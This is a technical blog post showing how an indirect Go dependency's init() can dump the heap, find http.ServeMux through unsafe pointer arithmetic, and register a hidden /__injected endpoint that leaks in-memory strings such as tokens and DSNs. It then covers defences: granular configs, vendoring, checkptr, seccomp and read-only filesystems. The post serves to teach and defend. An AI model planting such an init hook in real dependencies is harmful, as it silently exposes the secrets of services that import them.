← Home

// posts — go · security

How a quiet indirect dependency in Go registered an endpoint in your HTTP server

init-injection — article cover
All the examples from this article live in the repo github.com/korableg/init-injection-example. The "malware" code is written for educational purposes — to demonstrate a class of problem, not to hand out a ready-made tool. Run it in a sandbox only.

The story is simple: we have a tidy service on net/http with a single /time endpoint. We bump one library with go get, changing nothing in our own code. After a restart, a /__injected endpoint appears in the service, serving strings from the process memory. We did not register it. What's more — the package that registered it is, formally, not used in the service.

What follows is a breakdown of how this is even possible, step by step: from Go's dependency model and the init function to heap scanning and unsafe.Pointer. And, of course, how to defend against it.

Part 1. How Go sees dependencies

To understand the attack, you need to keep three facts about Go's module system in mind. If you read go.mod confidently — feel free to skip ahead to part 2.

1.1. A module starts with go mod init

# bash
go mod init github.com/korableg/init-injection-example

The command creates a go.mod at the root. The module path comes in two flavors:

  • for a library — the full importable path (github.com/org/lib), the one others will pull it by;
  • for a service — it can be just a unique identifier; nobody imports it from outside.

If a service needs to export packages (for example, generated protobuf contracts), a separate external module with a full name is set up for them — and that's what the neighbors import.

1.2. One way to import everything — go get

# bash
go get github.com/igrmk/treemap/v2@v2.0.1

go get is the universal way to pull in any dependency: a library, a tool, a version bump. This is exactly the command that becomes the attack's entry point in our story.

1.3. Anatomy of go.mod

module github.com/korableg/init-injection-example/lib   // 1. module path

go 1.26.3                                          // 2. language version (minimum)

replace github.com/korableg/init-injection-example/db => ../db   // 3. substitution

require github.com/korableg/init-injection-example/db v0.0.0-...  // 4. direct dependency

require (                                          // 5. indirect dependencies
	github.com/burntcarrot/heaputil v0.0.0-... // indirect
	github.com/igrmk/treemap/v2 v2.0.1         // indirect
	golang.org/x/exp v0.0.0-...                // indirect
)

exclude github.com/burntcarrot/heaputil v1.0.0     // 6. excluded version

Six elements:

  1. Module path — covered above.
  2. Language version — the minimum version of Go whose language features the module is allowed to use; the compiler rejects anything newer. The specific toolchain is governed by a separate toolchain directive (if absent — the version from the go line is used).
  3. replace — substitutes a dependency with a fork or a local directory.
  4. Direct dependency — what you added yourself via go get.
  5. Indirect dependency (I call them "shadow" deps) — what you don't import explicitly, but what the packages you use pull in. Marked with a // indirect comment.
  6. exclude — bans a specific version.

Remember point 5 — // indirect. The whole intrigue of the article hangs on a single question: what does Go execute in indirect dependencies that your code never calls directly?

Part 2. init — the silent entry point

2.1. The signature

init is a function with no arguments and no return value:

func init() {
	// ...
}

Some particulars:

  • it can be placed anywhere in the package (not necessarily at the top);
  • a single package can have several init functions — even one per file.

2.2. Three properties to keep in mind

  1. Implicit invocation. init runs automatically, before any of your code, before main.
  2. Order. Multiple inits in a package run in declaration order. And the inits of dependency packages run before your package's init — in import order.
  3. Purpose. Classically, init is used to set up global state, register handlers, and otherwise prepare things before the main logic starts.

2.3. The canonical example — database/sql

DB drivers in Go are registered precisely through init. The standard library provides sql.Register:

package db

import (
	"database/sql"
	"database/sql/driver"
	"fmt"
)

func init() {
	fmt.Println("YAY! db driver was registered 😻")
	sql.Register("fooDB", &drv{})
}

type drv struct{}

func (*drv) Open(name string) (driver.Conn, error) {
	return nil, nil
}

That's why drivers are wired up with a "blank" import:

import _ "github.com/jackc/pgx/v5/stdlib"   // postgres
import _ "github.com/go-sql-driver/mysql"    // mysql
import _ "github.com/ClickHouse/clickhouse-go" // clickhouse

You don't call a single function from the package — but its init has already registered the driver. Convenient. And this is exactly where the landmine is buried.

2.4. What's wrong with init

What makes init convenient — and what makes it dangerous
What makes init convenient — and what makes it dangerous

The first three points are about readability and testability. But the fourth one is the article's protagonist:

init runs even in an indirect dependency that your code doesn't actually use. It's enough for the package to land in the build graph.

Next, I'll show what that means in practice.

Part 3. The test subject service

Let's model a realistic situation. There's a service example-service with a single /time endpoint:

// example-service/cur_timestamp.go
type curTimestamp struct{}

func (*curTimestamp) Handler() (string, http.Handler) {
	return "GET /time", http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
		w.WriteHeader(http.StatusOK)
		_, _ = w.Write([]byte(strconv.FormatInt(time.Now().Unix(), 10)))
	})
}

We wrap the HTTP server in an internal library lib — picture a "shared scaffolding" with a unified config that all the company's services reuse:

// example-service/main.go
func main() {
	cfg := config.NewConfig()

	srvr := rest.New(cfg.Rest, &curTimestamp{})
	go srvr.Serve()
	// ... graceful shutdown
}

The library's config is a convenient composite struct: REST settings, the database, and some service foo (it's just here to fill the cast):

// lib/config/config.go
package config

import (
	"github.com/korableg/init-injection-example/db"
	"github.com/korableg/init-injection-example/lib/foo"
	"github.com/korableg/init-injection-example/lib/rest"
)

type Config struct {
	Rest *rest.Config `yaml:"rest"`
	DB   *db.Config   `yaml:"db"` // <-- this one line decides everything
	Foo  *foo.Config  `yaml:"foo"`
}

Note the DB *db.Config field. The example-service does not work with a database. It serves a timestamp. But its "shared config" from the library references the type db.Config — and that means the db package lands in the build graph.

Let's look at the service's go.mod:

module example

go 1.26.3

replace github.com/korableg/init-injection-example/lib => ../lib
replace github.com/korableg/init-injection-example/db  => ../db

require github.com/korableg/init-injection-example/lib v0.0.0-...

require (
	github.com/burntcarrot/heaputil v0.0.0-... // indirect
	github.com/igrmk/treemap/v2 v2.0.1         // indirect
	github.com/korableg/init-injection-example/db v0.0.0-... // indirect  <-- !!!
	golang.org/x/exp v0.0.0-...                // indirect
)

db is marked // indirect. The service doesn't import it directly — it arrived transitively through lib/config.

The dependency chain

The dependency chain: db reaches the service transitively, as an indirect dependency
The dependency chain: db reaches the service transitively, as an indirect dependency

We start the service — and the logs show:

YAY! db driver was registered 😻

The init() from the db package ran, even though we never called a single function from db. Simply because the db.Config type is mentioned in the config struct. Harmless so far — a driver got registered. But it's a proof of concept: someone else's init is already executing in our process's address space.

Part 4. The update that changes everything

Now let's model what happens in real life all the time: we run go get and bump db to a new version. We don't peek into the service code — "it's just the database config in there." And in the new version, init now looks like this:

func init() {
	fmt.Println("YAY! db driver was registered 😻")
	sql.Register("fooDB", &drv{})
	inject() // <-- this arrived with the update
}

Let's look inside inject. And here's where it gets interesting — the function operates on unsafe.Pointer. Why? Let's break it down piece by piece.

Part 5. A quick primer on unsafe.Pointer

To understand the exploit, you need to understand two types.

unsafe.Pointer versus a regular pointer

A regular pointer in Go is typed: *int points to an int, and the compiler enforces that. unsafe.Pointer is like void * in C: it can be converted to a pointer of any type, and the compiler doesn't check type safety.

uintptr — a pointer as a number

unsafe.Pointer ↔ uintptr: what the garbage collector sees
unsafe.Pointeruintptr: what the garbage collector sees
  • unsafe.Pointer is a real pointer; the garbage collector tracks it.
  • uintptr is an unsigned integer the size of a pointer. Arithmetic is allowed on it (not on unsafe.Pointer). But the GC doesn't see it.

Why you can't shuttle uintptr → unsafe.Pointer across expressions

Because of the garbage collector. The moment an address "slips" into a uintptr, the GC stops considering the object alive and may move or collect it. Turn the uintptr back into a pointer later — and you land on freed/moved memory. In the best case, a segfault.

Valid (all in one expression — the compiler and the GC see the link):

func Test_UnsafeValidOp(t *testing.T) {
	k := []byte{1, 2, 3, 4, 5, 6}
	p := (*byte)(unsafe.Pointer(uintptr(unsafe.Pointer(&k[0])) + 2))
	fmt.Println(*p) // 3
}

Invalid (the address "sat" in the variable uP between expressions):

func Test_UnsafeInvalidOp(t *testing.T) {
	k := []byte{1, 2, 3, 4, 5, 6}
	uP := uintptr(unsafe.Pointer(&k[0])) // the address went into a uintptr...
	p := (*byte)(unsafe.Pointer(uP + 2)) // ...and is used in another expression
	fmt.Println(*p)
}

Constructs like this are caught by linters, go vet and checkptr. But there's a "legal" workaround — unsafe.Add, which does arithmetic over unsafe.Pointer without dropping into uintptr:

func Test_UnsafeValidOp2(t *testing.T) {
	k := []byte{1, 2, 3, 4, 5, 6}
	var offset uintptr = 2

	uP := unsafe.Pointer(&k[0])
	p := (*byte)(unsafe.Add(uP, offset)) // the linter considers it valid
	fmt.Println(*p) // 3
}

It's exactly unsafe.Add that inject uses to comfortably do arithmetic over addresses without drawing the tooling's attention.

Part 6. How inject finds and hijacks the HTTP router

Now, armed with the unsafe knowledge, let's go through inject in full. The general idea:

The full inject() flow: from heap dump to registering /__injected
The full inject() flow: from heap dump to registering /__injected

6.1. The heap dump

To find the router in memory, inject takes a dump of the entire heap with the stock runtime/debug tool:

func objectsFromHeap() ([]*record.ObjectRecord, error) {
	f, err := os.CreateTemp(os.TempDir(), "*")
	if err != nil {
		return nil, err
	}
	defer func() {
		f.Close()
		os.Remove(f.Name())
	}()

	// Write the heap dump to the file.
	// Format: https://go.dev/wiki/heapdump15-through-heapdump17
	debug.WriteHeapDump(f.Fd())

	if _, err = f.Seek(0, 0); err != nil {
		return nil, err
	}
	return parseDump(bufio.NewReader(f))
}

debug.WriteHeapDump takes a single argument — a file descriptor. So first a temporary file is created, the dump is written into it, then it's parsed by the heaputil library into a list of objects. All addresses in the dump are stored as unsigned integers. (Parsing the dump format is a big topic of its own — see the link in the code.)

6.2. Address → pointer via the "zero base"

Knowing that any address is an offset from the start of the virtual address space, you can add the object's address to a nil pointer and get a working unsafe.Pointer:

ptr := unsafe.Add(unsafe.Pointer(nil), obj.Address)

6.3. Recognizing http.ServeMux by its memory layout

Next, we need to figure out which of the heap objects is the http.ServeMux. For that, the package declares structs ahead of time that mirror the internal layout of the private types from net/http:

type (
	// The structs mirror the layout of http.ServeMux's internal types
	routingIndexKey struct {
		pos int
		s   string
	}
	segment struct {
		s     string
		wild  bool
		multi bool
	}
	pattern struct {
		str      string
		method   string
		host     string
		segments []segment
		loc      string
	}
	routingIndex struct {
		segments map[routingIndexKey][]*pattern
		multis   []*pattern
	}
)

Since unsafe.Pointer can be cast to any type, and in memory these structs lie byte-for-byte like the originals from net/http, you can "slip" them onto a raw address and read it.

Recognition relies on several anchor signals.

Anchor value #1 — the real size of ServeMux in memory. Here's the trick: an object on the heap takes up not unsafe.Sizeof, but the size of the nearest allocation class (size class) in Go — the runtime rounds up. The class size is computed with a neat hack:

func calculateSizeClass(n uintptr) int {
	b := append([]byte(nil), make([]byte, n)...)
	return cap(b) // the runtime fit capacity to the needed size class
}

We take an n-byte slice, append it into an empty, capacity-less one — the runtime fits the capacity to a memory class. cap is the real size. (Memory classes — see runtime/sizeclasses.go.)

Anchor values #2 — offsets and field count for the specific ServeMux layout. Putting it all together:

muxSize      := unsafe.Sizeof(http.ServeMux{})
muxSizeClass := calculateSizeClass(muxSize)

var (
	muxFirstOffset        uint64 = 24
	muxRoutingIndexOffset        = 96
	muxFieldsCount               = 10
)

for _, obj := range objects {
	ptr := unsafe.Add(unsafe.Pointer(nil), obj.Address)

	if len(obj.Fields) == muxFieldsCount &&
		obj.Fields[0] == muxFirstOffset &&
		len(obj.Contents) == muxSizeClass {

		ri := (*routingIndex)(unsafe.Add(ptr, muxRoutingIndexOffset))
		if ri != nil && len(ri.segments) > 0 {
			mux = (*http.ServeMux)(ptr) // found the router!
		}
	}
	addContents(obj, tm)
}

A candidate object is checked against three signals: field count == 10, first field == 24, size == the expected size class. Then, at the routingIndexOffset offset, the routingIndex is pulled out and checked to confirm it has registered routes. A match — and we're looking at our service's live *http.ServeMux.

6.4. Along the way — collecting strings from the heap

In parallel, inject stuffs all the valid UTF-8 content of the heap objects into an ordered TreeMap[uintptr, string]:

func addContents(obj *record.ObjectRecord, tm *contentTree) {
	if !utf8.Valid(obj.Contents) {
		return
	}
	data := strings.Map(func(r rune) rune {
		if unicode.IsGraphic(r) {
			return r
		}
		return -1
	}, string(obj.Contents))

	if len(data) == 0 {
		return
	}
	tm.Set(uintptr(obj.Address), data)
}

Those are configs, tokens, DSNs — any strings the service keeps in memory.

6.5. The finale — registering someone else's endpoint

mux.HandleFunc("/__injected", handleFunc(tm))

handleFunc simply serves the collected address → string map:

return func(w http.ResponseWriter, r *http.Request) {
	w.WriteHeader(http.StatusOK)
	w.Write(data) // "0x... <string from the heap>\n" line by line
}

We start the service, hit /__injected — and get a dump of the process's string content. None of us registered the endpoint; it was added by the init of a package that isn't even used directly in the service.

And a separate word about tooling. A regular build (go build) and go vet raise no alarm — the code compiles and runs just fine. There's no data race here either: a clean race report shows nothing, because inject doesn't write to shared memory concurrently. But there's a nuance that matters for CI: the -race flag implicitly enables checkptr — a runtime check for the correctness of pointer arithmetic. And that one catches this exploit — a build with -race dies with a fatal error right at unsafe.Add(unsafe.Pointer(nil), obj.Address):

fatal error: checkptr: pointer arithmetic result points to invalid allocation
	.../db/harmful.go:179

That is, the exploit stays invisible only to the "vanilla" pipeline. Build or run the tests with -race (or explicitly with checkptr) — and the "zero base" trick is exposed. This, by the way, is a ready-made argument for running -race/checkptr in CI (we'll come back to this in part 7.2).

From here, let your imagination run: instead of "dump the strings" you could swap handlers, proxy traffic, exfiltrate secrets.

Part 7. How to fight this

7.1. Above all — make your dependencies granular

The root of the problem is the composite config in the library. The DB *db.Config field dragged the entire db package (with its init) into a service that doesn't need a database.

Before/after: a composite config drags db into every service; a granular one — only where it's needed
Before/after: a composite config drags db into every service; a granular one — only where it's needed

The rule: in libraries, don't build aggregate structs out of other packages. Have a separate rest.Config, a separate db.Config, and let each service wire up only what it actually uses. This won't save services that genuinely need the database, but at the very least it removes the problem from those that don't need it at all.

7.2. Tooling

ToolWhat it does
vendoring (go mod vendor) Puts copies of all dependencies in vendor/. On an update, the changes show up right in git diff — someone else's inject() won't slip past code review unnoticed.
deadcode Finds unreachable code. Unlike unused from golangci-lint, it also checks exported methods and ones used only in tests (which is why it's not a good fit for libraries).
GCI Orders imports by configured rules — discipline in imports helps you spot the extraneous ones.
govulncheck Scans the project for known vulnerabilities (NVD, GHSA, the Go vuln database). There's a web interface — you can check a package before adding it.
checkptr Runtime checks for the correctness of pointer arithmetic. It's the one that crashes our exploit at unsafe.Add(unsafe.Pointer(nil), addr). Enabled by the -race flag, so running tests/builds with -race in CI is enough.

7.3. Cut off the exploit's oxygen at the OS level: forbid file creation

The previous measures are about keeping the malware out of the build entirely. But you can add another line of defense — at the OS level, based on what the exploit physically needs to work.

Recall part 6.1: inject can't read the heap directly. It needs to take a dump via debug.WriteHeapDump(f.Fd()), and that function requires a writable file descriptor (per the documentation — a regular file or a socket, not a pipe). So the exploit first calls os.CreateTemp(...), which under the hood makes an openat(2) syscall with the O_CREAT flag:

Forbidding file creation breaks the chain at the openat(2) call
Forbidding file creation breaks the chain at the openat(2) call

If the process can't create a file in the needed place — os.CreateTemp returns an error, objectsFromHeap bails out with err, and inject simply exits quietly (it swallows the error: if err != nil { return }). No heap dump — no ServeMux found — no endpoint registered. The chain breaks at the very first "dirty" syscall.

Most services don't need to write to disk at runtime at all (logs go to stdout, state goes to the DB). Which means you can take away the process's right to create files — either entirely, or by allowing writes only to one known path.

It's important to do this from the outside, at the orchestrator level, not from the service code. The temptation to "enable the restriction at the start of main" won't work: the init of indirect dependencies runs before main, so any protection raised from your own code will be beaten to the punch by the malware in init. A restriction imposed by the container/kernel before the process even starts doesn't have this hole.

seccomp-BPF — a syscall filter

seccomp-BPF cuts at the syscalls themselves. You describe a BPF filter (usually on an allowlist basis, like Docker's default profile) and forbid the process from calling openat/creat/open with creation flags. Then any attempt to create a file — including os.CreateTemp from inject — hits EPERM/EACCES at the kernel level.

This is applied at the orchestrator level:

  • Docker--security-opt seccomp=profile.json with a custom profile without file-creating syscalls;
  • KubernetesseccompProfile in the pod's securityContext;
  • plus orthogonal measures — readOnlyRootFilesystem: true and an emptyDir volume only where writing is genuinely needed.

readOnlyRootFilesystem on its own already breaks our exploit: os.TempDir() points to /tmp by default, and if the root filesystem is read-only — creating a temp file there won't work.

How this differs from the measures above

Granular dependencies, vendoring and govulncheck keep the malware from getting in to the service. Restricting syscalls comes from the opposite assumption — "suppose it's already inside" — and takes away its tools. That's defense in depth: even if the malware slipped past review, without the right to create a file it can't take a heap dump and can't reach the ServeMux.

7.4. Update hygiene

A few practices follow from this story that are worth cementing in the team:

  • read the diff of dependencies when updating — especially if unsafe, runtime/debug, os.CreateTemp, or descriptor handling shows up in it;
  • keep vendor/ under code review;
  • run govulncheck in CI and check new packages on vuln.go.dev before adding them;
  • don't drag composite configs into libraries — make them granular;
  • in production, run services with readOnlyRootFilesystem and a trimmed-down seccomp profile — it's cheap and it breaks a whole class of attacks tied to writing files.

Conclusion

The attack chain turned out to be short and completely "legal" from the compiler's point of view:

  1. The library holds a composite config with a DB *db.Config field.
  2. The db.Config type drags the entire db package into the service's build graph — as an indirect dependency.
  3. The db package's init runs, even though the service doesn't call a single line from db.
  4. init takes a heap dump, uses unsafe.Pointer to find http.ServeMux by its memory layout, and registers its own endpoint.
  5. A regular build and go vet raise no alarm — the only thing that saves you is a build with checkptr (including via -race), which crashes the exploit on pointer arithmetic.

init and unsafe are powerful and useful mechanisms. But it's precisely their "convenience" — the implicitness of init and the lack of type control in unsafe — that turns an innocent dependency bump into an RCE-like scenario. Defense is built in two echelons. The first — keep the malware out of the build: make dependencies granular, read the diffs, vendor and scan. The second — in case it still slipped through: trim the process's privileges at the OS level from the outside, via the orchestrator. This particular exploit needs to create a file for the heap dump to work — forbid file creation (a seccomp profile, readOnlyRootFilesystem), and the chain breaks at the very first syscall.

Code to explore on your own — github.com/korableg/init-injection-example. Uncomment inject() in db/drv.go, bring up example-service and hit /__injected.

Thanks for reading. Questions and objections — in the comments.